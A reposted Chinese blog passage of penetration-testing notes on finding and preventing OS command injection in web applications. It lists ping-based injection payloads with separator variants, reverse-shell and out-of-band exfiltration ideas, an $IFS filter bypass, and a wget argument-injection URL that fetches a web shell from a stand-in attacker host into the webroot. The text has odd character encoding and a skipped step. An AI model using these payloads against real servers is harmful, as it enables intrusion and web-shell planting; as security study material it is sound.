通常,一種穩(wěn)定的安全機(jī)制應(yīng)采用深層防御措施提供額外的保護(hù),以防止前端防御由于任何原因失效。當(dāng)防御針對(duì)后端數(shù)據(jù)庫(kù)的攻擊時(shí),應(yīng)采用另外三層防御。

(1)當(dāng)訪問(wèn)數(shù)據(jù)庫(kù)時(shí),應(yīng)用程序應(yīng)盡可能使用最低權(quán)限賬戶。

(2)許多企業(yè)數(shù)據(jù)庫(kù)包含大量默認(rèn)功能,可被能夠執(zhí)行任意SQL語(yǔ)句的攻擊者利用。

(3)應(yīng)評(píng)估、測(cè)試并及時(shí)安裝供應(yīng)商發(fā)布的所有安全補(bǔ)丁,以修補(bǔ)數(shù)據(jù)庫(kù)軟件本身已知存在的漏洞。

?

M。注入操作系統(tǒng)命令

?

N。查找OS命令注入漏洞

滲透測(cè)試步驟:

1.通常可以使用ping命令讓服務(wù)器在一段時(shí)期內(nèi)檢測(cè)它的回環(huán)接口(loopback interface),從而觸發(fā)時(shí)間延遲。Windows和UNIX平臺(tái)在處理命令分隔符與ping命令方面存在一些細(xì)微的差別,但是,如果沒(méi)有設(shè)置過(guò)濾,下面的通用測(cè)試字符串應(yīng)該能夠在兩個(gè)平臺(tái)上引起30秒額時(shí)間延遲。

||ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &

?

2.如果應(yīng)用程序過(guò)濾掉某些命令分隔符,為提高檢測(cè)到命令注入漏洞的可能性,還應(yīng)該輪流向每一個(gè)目標(biāo)參數(shù)提交下面的每個(gè)測(cè)試字符串,并監(jiān)控應(yīng)用程序進(jìn)行響應(yīng)的時(shí)間。

| ping -i 30 127.0.0.1 |

| ping -n 30 127.0.0.1 |

& ping -i 30 127.0.0.1 &

& ping -n 30 127.0.0.1 &

;ping 127.0.0.1 ;

%Oa ping -i 30 127.0.0.1 %Oa

'ping 127.0.0.1'

?

3.如果發(fā)生時(shí)間延遲,說(shuō)明應(yīng)用程序可能易于受到命令注入攻擊。重復(fù)幾次測(cè)試過(guò)程,確定延遲不是由于網(wǎng)絡(luò)延時(shí)或其他異常造成的??梢試L試更改-n或-i參數(shù)的值,并確定經(jīng)歷的時(shí)間延遲是否會(huì)隨著提交的值發(fā)生對(duì)應(yīng)的變化。

4.使用所發(fā)現(xiàn)的任何一個(gè)可成功實(shí)施攻擊的注入字符串,嘗試注入另一個(gè)更有用的命令(如ls或dir),確定是否能將命令結(jié)果返回到瀏覽器上。

5.如果不能直接獲得命令執(zhí)行結(jié)果,還可以采用其他方法:

? (1)可以嘗試打開一條通向自己計(jì)算的帶外通道。嘗試使用TFTP上傳工具至服務(wù)器,使用telnet或netcat建立一個(gè)通向自己計(jì)算機(jī)的反向shell,并使用mail命令通過(guò)SMTP發(fā)送命令結(jié)果。

? dir > c:\inetpub\wwwroot\foo.txt

7.有時(shí),由于某些字符被過(guò)濾掉,或者應(yīng)用程序所使用的命令A(yù)PI的特殊行為,可能無(wú)法注入一個(gè)完全的命令。但是攻擊者仍然可以破壞所執(zhí)行的命令的行為,得到想要的結(jié)果。

8.<和>字符分別用于將一個(gè)文件的內(nèi)容指向命令的輸入以及將命令的輸出指向一個(gè)文件。如果不可能使用前面的技巧注入一個(gè)完全的命令,仍然可以使用<和>字符讀取及寫入任意文件的內(nèi)容

9.應(yīng)用程序調(diào)用的許多操作系統(tǒng)命令接受大量控制其行為的命令參數(shù)。通常,用戶提交的輸入以這種參數(shù)的形式傳送給命令處理,只需在相關(guān)參數(shù)后插入一個(gè)空格,就可以在空格后添加一個(gè)參數(shù)。例如,一個(gè)Web創(chuàng)作應(yīng)用程序可能擁有一項(xiàng)功能,允許服務(wù)器獲得一個(gè)用戶指定的URL,然后將它的內(nèi)容呈現(xiàn)在瀏覽器上進(jìn)行編輯。如果應(yīng)用程序調(diào)用Wget程序,那么就可以通過(guò)附加wget使用-o命令行參數(shù),在服務(wù)器的文件中寫入任何文件的內(nèi)容。例如:

url = http://wahh-attacker.com/%20-O%20c:\inetpub\wwwroot\script\cmdasp.asp

?

許多命令注入攻擊要求注入空格分隔命令行自變量,如果攻擊者發(fā)現(xiàn)應(yīng)用程序過(guò)濾空格,并且攻擊的是UNIX平臺(tái),那么它可以使用包含空白符字段分隔符的¥IFS環(huán)境變量代替空格。

O。防止OS命令注入

通常來(lái)說(shuō),防止OS注入命令注入漏洞的最佳方法是完全避免直接調(diào)用系統(tǒng)命令。WEB應(yīng)用程序需要執(zhí)行的幾乎任何任務(wù)都可以通過(guò)使用內(nèi)置API完成,而且攻擊者無(wú)法控制這些API,使其執(zhí)行其他預(yù)料之外的命令。

轉(zhuǎn)載于:https://my.oschina.net/u/2391658/blog/700938

因篇幅問(wèn)題不能全部顯示,請(qǐng)點(diǎn)此查看更多更全內(nèi)容

Copyright ? 2019- 91gzw.com 版權(quán)所有 湘ICP備2023023988號(hào)-2

違法及侵權(quán)請(qǐng)聯(lián)系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com

本站由北京市萬(wàn)商天勤律師事務(wù)所王興未律師提供法律服務(wù)